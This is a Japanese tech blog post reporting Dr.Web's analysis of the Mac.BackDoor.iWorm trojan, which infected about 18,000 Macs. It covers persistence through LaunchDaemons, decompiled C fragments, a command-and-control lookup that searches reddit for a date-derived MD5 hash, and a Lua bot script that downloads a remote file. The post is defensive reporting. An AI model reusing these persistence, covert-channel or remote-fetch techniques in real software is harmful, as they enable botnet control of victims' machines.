デル株式会社

【トラブルシューティング】”Dr.Web” が、”トロイの木馬” の一種となるマルウェア “Mac.BackDoor.iWorm” の大規模感染について報告

  • 2014/10/05
  • Masahiro

Russia(ロシア)のウィルス対策ベンター “Dr.WEB” が、”macOS(旧称:OS X)” をターゲットにした “トロイの木馬” の一種であるマルウェア “Mac.BackDoor.iWorm” による大規模感染を報告しています。

同社は 2014 年 9 月 29 日の時点で、このマルウェアによるバックドアを用いて構成されたボット ネットが形成されており、その IP アドレスが約 18,519 にもおよぶことから現時点において、約 18,000 台以上の “Mac” が感染している模様です。

なお、Apple では 2014 年 10 月 4 日(土)時点で “macOS(旧称:OS X)” の定義ファイル “XProtect.plist” のアップデートを実施しています。

目次
  1. 1. “Mac.BackDoor.iWorm” について
  2. 2. Apple 関連記事一覧
  3. 3. コメントを残す
  4. この記事には、アフィリエイト広告および広告が含まれています。

“Mac.BackDoor.iWorm” について

  • “Mac.BackDoor.iWorm” のバックドアは、”/Library/Application Support/JavaW” 内に展開され、特別に生成された plist ファイルを使用することでアプリケーション com.javaW を装います。
  • 次に、”/Library/LaunchDaemons/” 経由で自信を自動起動させるアプリケーションを設定します。
  • “Mac.BackDoor.iWorm” は、その動作の過程で暗号化を多用し、起動されると、バックドアはコンテキストを設定し、オフセット 0 に 2 Byte を書き込みます。
  • これが、のちに復号かストリングのキーとして使用され、ストリングは次のアルゴリズムを用いて復号化されます。

  • 続いて、”トロイの木馬” は “/Library” ディレクトリのコンテンツに関する情報の取得を試みます。
  • 成功した場合、そのすべてのサブ ディレクトリの名前の “MD5” ハッシュ値を取得します。
  • この “MD5” ハッシュ値は、インストールされているアプリケーションの中でマルウェアが連携する必要のないものを決定するために使用されます。
  • 以下のアルゴリズムは、インストールされたアプリケーションを検出するためのものです。

find_banned_dir:
challenge[5] = 0;
challenge[4] = 0;
challenge[0] = 0x67452301;
challenge[1] = 0xEFCDAB89;
challenge[2] = 0x98BADCFE;
challenge[3] = 0x10325476;
szDir = (const char *)&dir-&qt;d_seekoff;
szDir_len = strlen(szDir);
MD5_Update(szDir, challenge, szDir_len);
MD5_Final((char *)&MD5OfDir, challenge);
z = 0;
do
{
if ( z &qt; 2 )
{
dir = readdir(hLib);
if ( !dir )
goto banned_dir_not_found;
goto find_banned_dir;
}
BannedFoldersMD5 = pBannedFoldersMD5[z++];
}
while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );

  • アプリケーション ディレクトリが見つからなかった場合、getuid および gepwuid ルーティーンを使用して、macOS(旧称:OS X)を実行しているユーザー アカウントのホーム フォルダーを見つけ、フォルダー内に “%pw_dir%/.JavaW” ファイルが含まれているかどうかを確認します。
  • このファイルはバックドアの初回起動時に生成されます。
  • また、初回起動時に尾はポート番号も生成され、のちにこのポートに関する情報が設定ファイルから取得されます。

r1 = TwisterGenRnd();; //????????? ?????????? ?????
r2 = 0xFFFF0400 * (random_value / 0xFC00);
port = (WORD)(r1 + r2 + 1024);

  • ポートの値から backdoor_param データ構造が作成され、暗号化が完了すると設定ファイル内に書きこまれます。
  • 設定ファイルのエントリーは、すべての以下のフォーマットで追加されます。

struct backdoor_param
{
char szParam[];
char szValue[];
};

  • “%param_name%” および “%param_value%” の値から作成された構造の暗号化には “AES – 256” アルゴリズムが使用され、暗号化された構造は設定ファイル内に保存されます。
  • バックドアは以下の 3 つのスレッドの機能を実行します。
  • ・ポートを開いて接続受信を待つ
  • ・Web サーバーにクエリを送信し、C & C サーバーのアドレスを取得する
  • ・C & C サーバーに接続し、コマンドを受け取る
C & C サーバーのアドレスを取得するために、”Mac.BackDoor.iWorm” は現在の日付を特定し、以下の方法を用いてその値を計算します。

time_t timee;
struct tm *tm;
time(&timee);
tm = gmtime(&timee);
dwDays = tm->tm_yday + 365 * tm->tm_year;

  • 取得した値から “MD5” ハッシュを算出し、クエリを “reddit.com” に送信します。
  • クエリのテンプレートは以下のとおりです。

https://www.reddit.com/search?q=<MD5_hash_first8>

  • “MD5_hash_first8” は現在の日付の “MD5” ハッシュ値の最初の 8 Byte です。
  • “reddit.com” は、”minecraftserverlists” トピック内に “vtnhiaovyd” というアカウント名で犯罪者によってコメントして公開されているボット ネットの C & C サーバーおよびポートのリストを含んだ Web ページを検索結果として返します。
  • リスト取得のリクエストは 5 分感覚で “reddit.com” に送信されます。
  • “Mac.BackDoor.iWorm” は、以下のアルゴリズムを使用して、接続するサーバーを選択します。

rnd = TwisterGenRnd(); //????????? ?????????? ?????
szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));

  • “トロイの木馬” はリスト上にある最初の 29 アドレスからランダムに選択したアドレスに対してクエリを送信します。
  • 接続されると、サイトが除外リストに含まれていないかどうかを確認します。

i = 0;
while ( 1 )
{
pthread_mutex_lock(&pMutex_0);
BanListSize = (pBanListEnd - pBanListBeg) >> 2;
pthread_mutex_unlock(&pMutex_0);
if ( i >= BanListSize )
break;
pszBannedIP = GetAddressByIndex(pCBanList, i++);
if ( CompareAddresses(pszBannedIP, szIP) )
{
pthread_mutex_unlock(&pMutex_0);
shutdown(this->socket, SHUT_WR);
goto func_exit;
}
}

  • バックドアはサーバーとデータのやり取りを行い、それらのデータと特定のアルゴリズムを同時に用いてリモート ホストの認証を行います。
  • 成功すると、感染した “Mac” 上で開かれたポートに関する情報や、そのユニークな ID に関する情報をサーバーに送信し、コマンドを待ちます。
  • データは AES – 256 アルゴリズムを用いて暗号化され、次のルーチンでパケットによって送受信されます。

void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
{
WORD ps = 0;
SendData(&packet_signature, pNode->pCSocket, 1u);
ps = BYTE(packet_size) << 8;
SendData((char *)&ps, pNode_->pCSocket, 2u);
SendData(pPacketData, pNode_->pCSocket, packet_size);
}

  • バックドアは、サーバーから受け取ったコマンドを実行するために “Lua” をサポートしています。
  • 受け取ったデータの種類によって、ボットはコマンドまたは “Lua” スクリプトのいずれかを実行することができます。
  • 以下は、”Lua” スクリプトの例です。

if platform() == "OSX" and get("d") ~= "3" then
httpgeted("https://*****.files.wordpress.com/2014/08/01.jpg")
set("d", "3");

  • “Lua” スクリプト向けの基本的なバックドア コマンドは以下のとおりです。
  • ・”OS” の種類を取得
  • ・bot のバージョンを取得
  • ・bot の UID を取得
  • ・設定ファイル内にパラメーター値を削除
  • ・bot のアップ タイムを取得
  • ・GET クエリを送信
  • ・ファイルを DL(ダウンロード)
  • ・受信接続のためにソケットを開き、受け取ったコマンドを実行
  • ・システム インストラクションを実行
  • ・スリープ
  • ・IP のノードを妨害
  • ・妨害するノードのリストをクリア
  • ・ノードの IP を取得
  • ・ノードの種類を取得
  • ・ノードのポートを取得
  • ・埋め込まれた “Lua” スクリプトを実行
“Lua” スクリプトで実行される動作を除き、現時点で “トロイの木馬” が実行可能な動作は次のとおりです。
  • ・”UID” を送信
  • ・開かれたポートに関する情報を送信
  • ・新たな bot をノードのリストに追加
  • ・※ 実際に接続されているもの、およびコマンドとともにアドレスを受け取ったもの
  • ・トラフィックをリレー
  • ※ あるソケットから受け取ったデータを変更せずに別のソケットへリレー
  • ・コマンドで指定されたホストに接続
  • ・”Lua” スクリプトを実行

Apple 関連記事一覧

Apple 関連記事一覧
Apple TV 関連記事一覧
Apple Account(旧称:Apple ID)関連記事一覧
WWDC(WorldWide Developers Conference)関連記事一覧
Apple のキャンペーン情報関連記事一覧
Apple Music 関連記事一覧
Beats by Dr. Dre 関連記事一覧
Shazam 関連記事一覧

関連リンク




コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です

This site uses Akismet to reduce spam. Learn how your comment data is processed.

カテゴリー

  • Apple
  • Windows
  • オーディオ
  • カメラ
  • スマートフォン
  • Hobby
  • 旅行

デル株式会社

ゴールデン ウィーク 新しいパソコンで GW を楽しもう

  • PR by DELL Technologies

  • PR by final

  • PR by e ☆ イヤホン